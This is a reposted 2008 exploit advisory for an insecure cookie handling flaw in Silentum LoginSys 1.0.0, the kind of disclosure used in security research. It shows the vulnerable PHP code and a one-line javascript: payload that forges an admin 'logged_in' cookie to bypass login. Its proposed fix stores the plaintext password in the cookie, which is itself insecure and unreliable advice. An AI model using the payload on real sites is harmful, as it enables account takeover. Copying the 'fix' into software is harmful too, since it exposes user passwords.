Lucene search
K

Silentum LoginSys 1.0.0 Insecure Cookie Handling vulnerability

🗓️ 28 Dec 2008 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 8 Views

Silentum LoginSys 1.0.0 Insecure Cookie Handling vulnerability, login2.ph

Code

                                                [START]

####################################################################################################################
[0x01] Informations:

Script         : Silentum LoginSys 1.0.0
Download       : http://www.hotscripts.com/jump.php?listing_id=69667&jump_type=1
Vulnerability  : Insecure Cookie Handling
Author         : Osirys
Contact        : osirys[at]live[dot]it
Website        : http://osirys.org
Notes          : Proud to be Italian
Greets:        : x0r, emgent, Jay, str0ke, Todd and AlpHaNiX


####################################################################################################################
[0x02] Bug: [Insecure Cookie Handling]
######

Bugged file is: /[path]/login2.php

[CODE]

	else {
	setcookie("logged_in", $login_user_name, time()+60*60*24*$logged_in_for, "/");
	header("Location: index.php");
	exit;
	}

[/CODE]

If we log in correctly, a cookie is set with name "logged_in" and as content the username name.

[!] FIX: Set as content username's password.

[CODE] setcookie("logged_in", $login_password, time()+60*60*24*$logged_in_for, "/"); [/CODE]


[!] EXPLOIT: javascript:document.cookie = "logged_in=admin_username; path=/";
             *admin_username is the nick of the administrator

####################################################################################################################

[/END]

# milw0rm.com [2008-12-28]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation